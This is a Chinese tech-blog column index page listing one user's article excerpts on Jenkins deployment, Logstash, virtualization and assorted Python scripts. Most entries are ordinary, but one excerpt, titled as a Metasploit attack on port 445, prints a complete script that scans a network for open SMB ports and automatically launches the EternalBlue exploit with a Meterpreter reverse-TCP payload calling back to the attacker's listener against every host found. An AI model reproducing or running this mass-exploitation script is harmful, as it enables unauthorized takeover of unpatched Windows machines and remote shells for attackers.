首页
学习
活动
专区
工具
TVP
发布

sktj

专栏成员
1542
文章
1965396
阅读量
34
订阅数
Jenkins Publish over ftp部署
主要分为jenkins服务器,和ftp服务器,我们只要是根据插件把打包完的apk,上传到ftp站点上去。
用户5760343
2022-05-24
1.1K0
Jenkins Publish over ssh部署
Jenkins远程部署,一开始没有任何头绪,想了很多方案. 因为两台机器都是windows系统,所以想到publish over cifs, 但是这个网上资料太少,貌似只能内网使用。又想到了Jenkins 分布式构建,但是Jenkins构建的代码和产物最后自动拷贝到主节点。而远程机器其实是客户方的机器,所以这个分布式构建并不适用。最后还是选定publish over ssh来实现远程部署。 
用户5760343
2022-05-24
1.4K0
Jenkins +selenium(学习笔记三十一)
安装Jenkins插件,SSH plugin ,Email Extension Plugin ,Hudson Seleniumhq plugin
用户5760343
2022-05-24
7970
window计划任务 0x1
window server 2012之前的版本执行计划任务不用设置路径, window server 2012之后的版本执行计划任务要设置路径 批处理程序直接双击运行正常,但是放入windows定时任务运行时缺报错误代码0x1
用户5760343
2022-05-23
7810
Logstash 实例
8、Docker日志与处理:/var/lib/docker/containers/
用户5760343
2022-05-19
3800
比较三种虚拟化技术kvm,xen,vmware
KVM是指基于Linux内核(Kernel-based)的虚拟机(Virtual Machine)。KVM最大的好处就在于它是与Linux内核集成的,所以速度很快。KVM的宿主操作系统必须是Linux,支持的客户机操作系统包括Linux、Windows、Solaris和BSD,运行在支持虚拟化扩展的x86和x86_64硬件架构上,cpu支持VT技术。
用户5760343
2022-05-19
4.4K0
python 多重剪贴板 脚本
该程序将利用一个关键字保存每段剪贴板文本。例如,当运行py mcb.pyw save spam,剪贴板中当前的内容就用关键字spam 保存。通过运行py mcb.pyw spam,这 段文本稍后将重新加载到剪贴板中。如果用户忘记了都有哪些关键字,他们可以运 行py mcb.pyw list,将所有关键字的列表复制到剪贴板中。 如果使用Windows,可以创建一个名为mcb.bat 的批处理文件,很容易地通 过“Run…”窗口运行这个脚本。该批处理文件包含如下内容: @pyw.exe C:\Python34\mcb.pyw %*
用户5760343
2022-05-13
6800
python 文件分割 脚本
""" ################################################################################ split a file into a set of parts; join.py puts them back together; this is a customizable version of the standard Unix split command-line utility; because it is written in Python, it also works on Windows and can be easily modified; because it exports a function, its logic can also be imported and reused in other applications; ################################################################################ """
用户5760343
2022-05-13
8390
python 跨平台python脚本启动器
------------------------------------调用方式-------------------------------- import Launcher Launcher.launchBookExamples(['PyDemos.pyw'], trace=False) ----------------------------------Launcher.py--------------------------------
用户5760343
2022-05-13
6200
python tkinter(2)
1、设置label的字体、颜色、背景色、宽、高 from tkinter import * root = Tk() labelfont = ('times', 20, 'bold') # family, size, style widget = Label(root, text='Hello config world') widget.config(bg='black', fg='yellow') # yellow text on black label widget.config(font=labelfont) # use a larger font widget.config(height=3, width=20) # initial size: lines,chars widget.pack(expand=YES, fill=BOTH) root.mainloop() 2、bd设置边框、relief=设置边框类型,cursor鼠标
用户5760343
2022-05-13
7880
python guimixin 消息调用 工具dialog封装
""" ############################################################################### a "mixin" class for other frames: common methods for canned dialogs, spawning programs, simple text viewers, etc; this class must be mixed with a Frame (or a subclass derived from Frame) for its quit method ############################################################################### """
用户5760343
2022-05-13
2980
python clock 时钟
--------------------------------windows.py------------------------------- """ ############################################################################### Classes that encapsulate top-level interfaces. Allows same GUI to be main, pop-up, or attached; content classes may inherit from these directly, or be mixed together with them per usage mode; may also be called directly without a subclass; designed to be mixed in after (further to the right than) app-specific classes: else, subclass gets methods here (destroy, okayToQuit), instead of from app-specific classes--can't redefine. ############################################################################### """
用户5760343
2022-05-13
8880
python pyphoto图片查看器
""" ############################################################################ PyPhoto 1.1: thumbnail image viewer with resizing and saves.
用户5760343
2022-05-13
1.3K0
python textEditor 自制编辑器
""" ############################################################################### An extended Frame that makes window menus and toolbars automatically. Use GuiMakerFrameMenu for embedded components (makes frame-based menus). Use GuiMakerWindowMenu for top-level windows (makes Tk8.0 window menus). See the self-test code (and PyEdit) for an example layout tree format. ############################################################################### """
用户5760343
2022-05-13
1.2K0
python window窗体的封装
""" ############################################################################### Classes that encapsulate top-level interfaces. Allows same GUI to be main, pop-up, or attached; content classes may inherit from these directly, or be mixed together with them per usage mode; may also be called directly without a subclass; designed to be mixed in after (further to the right than) app-specific classes: else, subclass gets methods here (destroy, okayToQuit), instead of from app-specific classes--can't redefine. ############################################################################### """
用户5760343
2022-05-13
5160
python scrapy 数据写入Mysql(pipeline)
class LearnscrapyItem(scrapy.Item): name = scrapy.Field() link = scrapy.Field()
用户5760343
2022-01-10
2K0
python 标准库 文本
1、string string.capwords(s) 2、转换: leet=string.maketrans('abc','123') s.translate(leet) 3、模板
用户5760343
2022-01-09
8390
python Metasploit攻击445端口
""" Created on Sun Nov 12 09:11:33 2018 @author: 小谢 """ import os import optparse import sys import nmap def findTarget(Hosts): #扫描网段范围内开放445端口的主机 nmScan=nmap.PortScanner() nmScan.scan(Hosts,'445') targets=[] for t in nmScan.all_hosts(): if nmScan[t].has_tcp(445): #如果445端口提供了协议 state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态 if state=='open': print '[+]Found Target Host:'+t targets.append(t) return targets #返回开放445端口的主机列表 def confickerExploit(configFile,target,lhost): #漏洞利用 configFile.write('use exploit/windows/smb/ms17_010_eternalblue \n') #漏洞利用代码 configFile.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n') configFile.write('set RHOST '+str(target)+'\n') #设定参数 configFile.write('set LHOST '+lhost+'\n') configFile.write('exploit -j -z\n') #j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换 def main(): configFile=open('configure.rc','w') #以写入方式打开配置文件 usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> ' parser=optparse.OptionParser(usage) parser.add_option('-H',dest='target',type='string',help='target host') #目标主机 parser.add_option('-l','-L',dest='lhost',type='string',help='listen address') #我们的主机 (options,args)=parser.parse_args() target=options.target lhost=options.lhost if (target==None)|(lhost==None): print parser.usage exit(0) targets=findTarget(options.target) #寻找目标 for target in targets: #逐个攻击 confickerExploit(configFile,target,lhost) configFile.close() os.system('msfconsole -r configure.rc') #启动metasploit并读取配置文件 if name=='main': main()
用户5760343
2019-07-31
1.9K0
没有更多了
社区活动
【纪录片】中国数据库前世今生
穿越半个世纪,探寻中国数据库50年的发展历程
Python精品学习库
代码在线跑,知识轻松学
博客搬家 | 分享价值百万资源包
自行/邀约他人一键搬运博客,速成社区影响力并领取好礼
技术创作特训营·精选知识专栏
往期视频·千货材料·成员作品 最新动态
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档